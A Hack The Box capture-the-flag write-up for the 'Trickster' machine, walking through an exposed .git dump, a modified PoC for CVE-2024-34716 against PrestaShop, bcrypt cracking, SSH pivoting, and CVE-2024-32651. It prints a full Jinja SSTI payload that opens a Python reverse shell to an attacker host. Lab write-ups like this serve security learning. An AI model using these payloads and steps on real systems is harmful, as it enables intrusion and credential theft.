HTB Writeup – Trickster

RECON

Nmap

Host is up (0.67s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Easily found a subdomain http://shop.trickster.htb:

Subdomain

On http://shop.trickster.htb there's an online shop. The sign-in page reveals some information and we can create an account to login:

PrestaShop, being an e-commerce platform, is an open-source Github project. When we meet such project:

• Look for any exposed .git or .svn directories or other backup files that could reveal the PrestaShop version.
• Explore potential version disclosure in footers, source code, or response headers.

And FFUF does give us the result:

Which is surprisingly accessible:

Enum the directory, we found http://shop.trickster.htb/.git/config:

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
	name = adam

http://shop.trickster.htb/.git/HEAD:

ref: refs/heads/admin_panel

http://shop.trickster.htb/.git/refs/heads/admin_panel:

0cbc7831c1104f1fb0948ba46f75f1666e18e64c

This is the Git commit hash, that we can potentially reconstruct the entire Git repository using the .git directory. This might allow us to recover sensitive files such as configuration files, credentials, or even the source code of the application.

WEB ROOT | Www-data

Git Dumper

This could have been done in the RECON part, but let's go through it as an exploit methodology here.

With the Git commit hash we found previously, we can try to recover specific version of the repository. Install git-dumper, a tool to dump exposed .git repositories:

git clone https://github.com/arthaud/git-dumper.git  && \
cd git-dumper  && \
pip3 install -r requirements.txt  # suggest using venv

Many (lazy?) developers deploy their projects to their webservers through git: they run git clone https://url/to/my-repo.git in their web server's content directory. Doing this often leaves a .git folder exposed which an attacker can scrape and use to reconstruct the website's source code and version history. This tool does exactly that: scrape the .git directory so we can have a copy locally.

Dump the Git repository:

python3 git_dumper.py http://shop.trickster.htb/.git/ /home/axura/HTB/trickster

We will then dump the whole project to our attack machine:

After dumping the repo, use the commit hash to explore the admin_panel branch:

git checkout 0cbc7831c1104f1fb0948ba46f75f1666e18e64c

Under the /admin634ewutrx1jgitlooaj path we see all source codes of admin_panel:

Access http://shop.trickster.htb/admin634ewutrx1jgitlooaj/ to the panel, and we discover the login page for PrestaShop 8.1.5:

CVE-2024-34716

Search CVEs, there's CVE-2024-34716, that can allow a chain from cross-site scripting (XSS) to remote code execution (RCE).

Following the article in the link there's a POC, that we need to clone the repo and make quite a lot modification:

git clone [email protected]:aelmokhtar/CVE-2024-34716_PoC.git

After reviewing the files and scripts in the POC folder, I found out there're quite many mistakes. So we need to re-format things.

First Update the a.php which is the PHP reverse shell script in the theme ZIP file:

For exploit.py, correct the right PHP file name as a.php, which was wrongly input by the author :

And I am not using the ncat command on my machine:

For exploit.html, set the right path for our case in the, by replacing http://prestashop:8000 to http://shop.trickster.htb. In Vim (use your prefered editor), I run:

:%s/prestashop:8000/shop.trickster.htb/g

And replace all the path of admin-dev to admin634ewutrx1jgitlooaj (I did it separately because some path params are without URL):

:%s/admin-dev/admin634ewutrx1jgitlooaj/g

Further, replace malicious ZIP file serving IP to attacker's:

Serve it via own HTTP server, run the exploit.py and then the victim will click that HTML downloading the malicous ZIP:

We have a shell as web root www-data:

LEAK HASH | James

As web root, we can enum sensitive files under the Apache server /var/www, especially from some configuration files. Under /var/www/prestashop/app/config/parameters.php we found some credentials:

After some testing, we can use the database creds to login MySQL:

In the table ps_employee, we found hashes for users:

Try to crack the bcrypts using Hashcat with mode 3200, the one for use James turns out to be crackcable:

Re-use the password to try SSH login. We comprise user James and take the user flag.

SSTI | Root

Enumerate inside the internal network, we found out that the machine is running docker container:

1. docker0 Interface: The docker0 network interface is a virtual bridge interface that Docker automatically creates on the host system. It allows communication between Docker containers and the host network.
2. veth Interface: The veth (virtual Ethernet) interface is another indicator of Docker's presence. This interface connects the Docker container’s virtual network interface to the Docker bridge (docker0). Each Docker container gets its own veth interface.

To access the container, we will need to know which port is it running on Docker. To do so, we can perform port forward with tools like ligolo-ng or chisel, which we did quite offen before.

I will try another primitive here — Use the raw Nmap static bianry from this repo to perform a scan inside the target:

172.17.0.1 is the Docker bridge interface (docker0), and it has both SSH and HTTP services running. This likely corresponds to the host system or a container running services that can be accessed via these ports.

172.17.0.2 is another Docker container on the network, but without active port open in the scan result. Just like in real-world pentest, we would definitely perform a full port scanning on such target (because the owner of the server always uses some weird ports for internal services):

Well, port 5000 open. Port forward it and check it out:

ssh -L 5000:172.17.0.2:5000 [email protected] 

Try to access it via http://127.0.0.1:5000, turns out it is titled "ChangeDetection.io":

Try the password of user james. Wow, I am in:

ChangeDetection.io is a fully open-source product. It serves as a service to monitor changes to websites. Users can set up alerts to be notified when specified web pages change, which is useful for tracking updates without manually checking the pages.

From the page we know the version is v0.45.20. Search a bit on the Internet, we found CVE-2024-32651 – Server Side Template Injection (SSTI). The POC provided for the CVE is detailed and clear, and another python POC shows the way to gain a reverse shell — if we don't want to write one by ourselves.

First we need to create a URL for the service to monitor. Simply start an HTTP server on the target machine:

python3 -m http.server 12345 & 

Then, on the changedetect.io service, choose "Add New Change" > enter the URL http://172.17.0.1:12345 > "Edit > Watch":

After entering the monitor dashboard, we can perfrom SSTI under the "Notfication" tab:

For URL List, we provide our attacker IP with the get:// protocol defined. And for the Notification Body, we provide the SSTI payload from the POC by replacing our listener IP & port:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<ip>\",<port>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read() }}{% endif %}{% endfor %}

After saving this setting, we need to create an index.html for the monitor to access:

Back to the dashboard, click "Recheck" to trigger the SSTI:

With the listener set up in advance, we have a reverse shell as user root in the Docker container:

The 1st thing we compromise root is to look up the /root directory of course. Then we can find the .bash_history file recording bash commands for user root:

It seems to be a password when prompts for apt update. Try it:

Root.